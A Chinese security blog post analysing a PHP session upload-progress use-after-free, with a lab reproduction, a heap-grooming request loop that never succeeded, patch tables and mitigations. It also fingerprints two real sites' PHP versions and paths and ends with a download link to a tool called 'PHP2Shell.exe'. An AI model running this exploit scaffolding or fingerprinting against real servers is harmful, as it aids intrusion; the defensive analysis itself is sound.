先说结论:这个洞是真的,版本判定也确实能告诉你哪些机器暴露在外。但从"确认版本受影响"到"在真实目标上打出代码执行",中间隔着一整个堆布局工程。黑盒发包撞窗口这件事,我只在理论上看过。
一、事情是从一张告警截图开始的
上周有人丢给我两张主机安全平台的截图,两条记录并排躺着:
PHP 远程代码执行漏洞(CVE-2026-109618) NEW 版本对比 应用漏洞 高危 CVSS 8.1
PHP 远程代码执行漏洞(CVE-2026-109619) NEW 版本对比 应用漏洞 高危 CVSS 8.1
检测方式写着"版本对比",标签是"存在 POC / 存在 EXP",状态"待修复"。这套界面我见过很多次——主机 agent 在服务器本机读包版本,跟规则库里的版本区间做比对,命中就落一条。它不验证可利用性,也不需要验证。
问题在于,很多人看到"存在 EXP"就觉得下一秒要被打穿了。而我想知道的是另一件事:这条告警和真正能打进去之间,到底差多远。

二、这个洞的来历,比漏洞本身更值得说
PHP 有个延续了二十多年的做法:请求生命周期里的内存不走系统 malloc,而是从一块预先向系统要来的大池子里切。这块池子在请求开始时建,请求结束时整块销毁,不管中间分配了多少东西。这个设计让 PHP 的短生命周期请求跑得飞快,代价是所有"请求结束后还要用的东西"都得小心处理。
出问题的地方在错误处理路径上。正常情况下,请求结束前会有一轮清理:session 落盘、上传进度槽位回收、内存池释放。如果这个请求在中途因为内存耗尽(OOM)被打断了,PHP 用 longjmp() 直接跳出当前上下文,跳过一部分清理动作。
跳出去之后,请求内存池还是会被销毁。但有一些全局状态指针——指向的就是那块已经被释放的池子里的地址——没有被重置。它们悬在那儿,指着已经不归自己的内存。
下一个请求进来,PHP 假设这些全局状态是干净的自己的东西,直接拿来用。读到的可能是上一个请求残留的数据,也可能是被这个新请求重新分配后填进去的内容。
这事儿的要害在于:漏洞在 PHP 解释器里,跟跑在上面的应用代码一点关系都没有。WordPress、Drupal、Joomla,甚至一个
echo "hello"的单文件脚本,只要 PHP 版本在区间里,全都一样暴露。

三、修复版本和市场反应
PHP 在 10 月 21 日发了四个版本:8.5.12、8.4.27、8.3.36、8.2.35。官方措辞是"所有 PHP 用户强烈建议立即更新",并且明确说了 mod_php 风险最高——因为那条攻击路径能在应用代码执行之前就触发。
8.1 及更早已 EOL,官方不打算出包,只给了三个源码 backport 分支让打包的人自己合。PHP 官方公告里那句 "There are no complete mitigations, updating is the only safe choice" 说得挺实在。
| 分支 | 受影响区间 | 修复版本 |
|---|---|---|
| 8.5 | < 8.5.12 | 8.5.12 |
| 8.4 | < 8.4.27 | 8.4.27 |
| 8.3 | < 8.3.36 | 8.3.36 |
| 8.2 | < 8.2.35 | 8.2.35(12 月底 EOL) |
| 8.1 / 8.0 / 7.x | 全部 | 仅源码 backport |
顺带一提,我在两台真实站点上做的判定:都没有 X-Powered-By,phpinfo 不存在,异常页被 CMS 换成了一句"当前页面出现致命错误"。最后是从一个冷门路径拿到的证据:
$ curl -s https://HOST/core/convention.php
<b>Fatal error</b>: Uncaught Error: Undefined constant "THINK_PATH"
in /www/wwwroot/SITENAME/core/convention.php:22
Undefined constant 抛的是 Error 异常而不是警告,这是 PHP 8.0 起的行为——7.x 只会 Warning: Use of undefined constant ... assumed 'THINK_PATH' 然后继续跑完。一行报错把版本下限、webroot 绝对路径、部署方式是宝塔,全交代了。
四、搭一个能复现的靶场
版本判定只能说明"可能中",要往前走必须自己造一台。我用的是一台 Rocky 8.10,Docker 26.1.3,镜像 php:8.3-fpm——正好是 8.3.35,落后修复版一个 patch。
为什么配置要这么调
默认镜像跑起来你什么也测不出来,因为触发条件全部不满足。四件事必须手动改:
# /opt/p2s-lab/php-override.ini
memory_limit = 16M ; OOM 必须可控,撑不爆就进不去缺陷路径
post_max_size = 32M
session.save_path = /tmp ; 原始镜像这个值为空,upload-progress 直接失效
session.upload_progress.enabled = 1
session.upload_progress.cleanup = On ; 必须是 On,Off 等于把漏洞路径堵死
display_errors = On ; 靶场方便观测,生产绝不该开
那个 cleanup = On 我一开始设成了 Off,想着这样能把进度数据留住方便观察。结果扫了几十轮全是零,后来才反应过来:漏洞就发生在 cleanup 这条代码路径上,你把它关了,等于把要研究的对象从现场搬走了。
还有 FPM 的 worker 数。默认 pm.max_children 是按内存算的,会起一堆。跨请求状态复用要求前后两个请求落在同一个 worker 上,所以我把 pool 锁成单进程:
[www]
pm = static
pm.max_children = 1

起来之后先确认环境是不是我要的样子:
$ curl -s "http://192.168.100.164:8091/?diag=1"
php_version=8.3.35
php_sapi=fpm-fcgi
memory_limit=16M
post_max_size=32M
upload_progress=1
save_path=/tmp
worker_pid=7

五、把 OOM 放在正确的位置上
这是整个实验里最关键的一步,也是我走了两天弯路的地方。
漏洞需要 OOM 发生在"PS(id) 已经发布、但 cleanup 还没跑"这个区间里。OOM 可以有很多种放法,位置不同结果完全不同:
| OOM 时机 | 触发方式 | 实测结果 |
|---|---|---|
| startup 阶段 | 超大普通字段撑爆 multipart 解析 | worker exit code 70 退出,nginx 回 502 |
| 脚本执行中 | 脚本内循环分配 | worker 存活,但 cleanup 早已完成 |
| shutdown 函数 | register_shutdown_function 里分配 | worker 存活,cleanup 被跳过 |
| 析构函数 | __destruct 里分配 | worker 存活,位置略早于 shutdown |
第一种最接近真实的攻击形态——不需要应用代码配合,请求解析阶段就打崩。但它把 worker 打死了,而漏洞的利用前提恰恰是"worker 活着继续接下一个请求"。这两件事是有张力的,这也是为什么 mod_php 比 FPM 更容易复现:常驻进程模型下 worker 不会因为单个请求 fatal 就重启。
第三种是我最后选的路。shutdown 函数在 session cleanup 之前执行,正好能把清理打断在中间:
register_shutdown_function(function () use ($mb) {
burn($mb); // 在 cleanup 之前把内存撑爆
});
跑出来是这样:
$ curl -s "http://192.168.100.164:8091/?oom=shutdown&mb=64"
pid=7
sid=83d8f5dfb8162be909ae177dcc7d687d
status=2
oom_mode=shutdown
shutdown_armed
Fatal error: Allowed memory size of 16777216 bytes exhausted
# 紧接着再问一次 pid
$ curl -s "http://192.168.100.164:8091/?diag=1"
pid=7
worker 没死,还是那个 7 号进程。请求堆每轮被销毁一次,PS(id) 每轮悬空一次。前置条件齐了。

六、写一个专门找窗口的程序
手工 curl 只能验证单点,要扫窗口必须成对发包。核心逻辑很短:A 请求负责毒化,B 请求负责触发。
# 简化后的核心循环
for i in range(rounds):
# A: 带上传进度字段 + 在 shutdown 阶段 OOM
a = post(f"/?oom=shutdown&mb={mb}",
fields=[("PHP_SESSION_UPLOAD_PROGRESS", token)],
files=[("upfile", "p.jpg", b"\x00"*512)])
sid_a = get_sessid(a)
# 堆风水:在毒化和触发之间塞几个请求,试图占住被释放的槽位
for _ in range(fill_count):
post("/", [("PHP_SESSION_UPLOAD_PROGRESS", "A"*fill_size)])
# B: 同一 worker 上的 multipart,必须也带进度字段才会走 cleanup
b = post("/", fields=[("PHP_SESSION_UPLOAD_PROGRESS", token2)],
cookie=f"PHPSESSID={sid_a}")
n, val = get_sessid(b)
if n and n > 64: # 正常是 32
print("HIT", val)
判据是 PHPSESSID 的长度。正常 PHP 会话 ID 32 个字符,一旦泄露发生,那个 cookie 的值会变成 URL 编码后的成百上千字节堆内容——Wiz 在技术分析里也明确写了这个观测点。
我把它做成了带界面的工具,能调 OOM 模式、填充长度、填充次数、间隔请求数,跑的过程中实时看每轮结果,随时能停。

七、810 轮,零命中
27 种组合:3 种 OOM 时机 × 3 种 B 请求形态(带进度字段 / 只带文件 / 空 multipart)× 3 种 cookie 策略(不带 / 复用 A 的 sid / 伪造 sid)。每种 30 轮。
[ -] script B=progress cookie=none anomaly=0/30 0.2s
[ -] script B=progress cookie=reuse anomaly=0/30 0.3s
[ -] shutdown B=progress cookie=reuse anomaly=0/30 0.2s
[ -] destruct B=bare_file cookie=bogus anomaly=0/30 0.3s
... 共 27 行,全部 anomaly=0
PHPSESSID length distribution: {32: 270}
270 个有效会话 ID,长度全部是 32。一个异常都没有。


八、为什么打不中——三个叠加的障碍
1. 窗口本身就是亚毫秒级的
Wiz 的描述是"后续 multipart 请求在 Session 初始化重置指针之前到达 cleanup 路径"。翻译成人话:请求 B 进来之后,PHP 会先做一轮模块初始化,把 PS(id) 重置成新会话;然后再走 upload-progress cleanup。这两个动作之间隔了多少时间?在 8.3.35 上我实测到的稳定顺序是初始化在前,cleanup 在后,中间没有可利用的空隙。
就算某些版本或某些配置下顺序反过来,那个空隙也是微秒到亚毫秒量级——而且它在 PHP 进程内部执行,网络层的时序控制精度只有毫秒级。你想用发包节奏去撞一个比自己控制精度小三个数量级的时间窗,这跟闭着眼睛投飞镖扎中另一支飞镖的尾部差不多。
2. 每次都要重新摸堆布局
即便窗口撞上了,接下来的事更麻烦:PS(id) 悬空指向的那块内存,此刻被谁占着?如果占了,占的内容是不是攻击者能控制的?长度字段对不对得上?
这需要堆风水(heap grooming)——精确控制请求序列让目标槽位被特定内容填充。问题是 PHP 的内存池分配顺序受 memory_limit、post_max_size、扩展加载顺序、OPcache 是否开启、甚至 CMS 自身启动时分配了多少东西影响。同一份 exploit 脚本,从一台机器搬到另一台,可能要重调几十个参数。
Wiz 自己在文章里也承认了这点:"differences in PHP versions, configurations and application behavior can break assumptions the exploit depends on"。他们用 AI 加调试器做了六周。这不是靠发包能绕过去的工程复杂度。
3. 互联网上每台机器的 PHP 配置都不一样
这一条最要命。我扫的那两台真实站点,一个跑在 /www/wwwroot/aliyun.com/,一个跑在 /www/wwwroot/654833.com/,都是宝塔默认路径,但它们的 memory_limit、post_max_size、是否开 OPcache、worker 数、PHP 版本号,全都不知道——从外面看不出来。
而这三个参数直接决定攻击能不能成立:memory_limit 决定你能不能造出 OOM;post_max_size 决定请求能不能带着 payload 进到解析层;worker 数决定前后两个请求能不能落到同一个进程。你在 A 机器上调好的参数,到 B 机器上大概率一个都不对。
所以那条告警的真实含义是:这台机器的 PHP 版本落在受影响区间,理论上存在被攻击的可能。它不等于"随时会被打穿",也不等于"已经有人在打你了"。
但它等于一件必须处理的事——因为一旦有针对你这类配置的 exploit 被调好并流传开来,你的机器就是现成的靶子。修复只需要升一个小版本号,代价和风险完全不成比例。
九、真正该做的三件事
第一,把版本查清楚。别靠外网扫描猜,直接上服务器:
ls /www/server/php/ # 宝塔:目录名即版本
/www/server/php/*/bin/php -v
rpm -qa | grep -i '^php' | sort # RHEL 系
dpkg -l | grep -E '^ii\s+php' # Debian 系
第二,能升就升。目标是 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12。跑 EOL 分支的,要么走官方 backport,要么升到维护分支。升级前先确认 CMS 兼容性——老 CMS 跳到 8.3 会有语法层面的兼容问题,稳妥路径是先升 CMS 再升 PHP。
第三,短期无法升级的,按官方缓解措施改配置。注意这些只降低特定路径的暴露面,不是修复:
memory_limit = -1 ; CVE-2026-109618:掐掉可控 OOM
post_max_size = 8M ; 有上传需求改 32M
session.upload_progress.enabled = 0 ; CVE-2026-109619:阻断已确认路径
session.upload_progress.enabled 必须写进 php.ini 或 FPM pool 的 php_admin_value。ini_set() 和 .user.ini 在这个阶段都还没生效——这条我踩过。
十、最后几句实话
这个漏洞本身值得所有 PHP 运维认真对待。它绕过了应用层的一切防护——WAF 拦不住,代码审计看不出,因为缺陷在解释器里。
但它同时也是一类典型的"披露冲击大于实际可打性"的漏洞。新闻标题写着 CVSS 9.8、影响 70% 的网站、十年潜伏,这些都对。只是这些数字描述的是潜在暴露面,不是实战命中率。
我把 810 轮请求打进去,一个没中。这不代表漏洞是假的,也不代表我的工具写错了——它代表这个漏洞的利用门槛高到需要用调试器逐字节调内存,而不是发几个精心构造的请求就能搞定。
对我自己来说,这轮实验最大的收获不是那个 exploit,是两件事:一是知道了 Undefined constant 报错能一行暴露 PHP 大版本下限,二是明白了一条主机告警和一次成功利用之间隔着多少工程量。以后再看漏洞平台的"存在 EXP"标签,心里会多一分分寸。
文中所有实测均在自建隔离环境内完成,目标为 192.168.100.164 上的 Docker 靶场。真实站点只做了被动版本指纹,未执行任何攻击动作。
十一、工具分享
分享内容:PHP2Shell.exe
分享链接:https://ug.link/xiaozou/filemgr/share-download/?id=1c4c6637656a4296bd4da608049b44e6
访问密码:spBv
如果你觉得这篇文章不错,有用的话可以点击下面的“赞赏”支持作者,你的支持是我更新的动力(饿饿吃饭)。


Comments NOTHING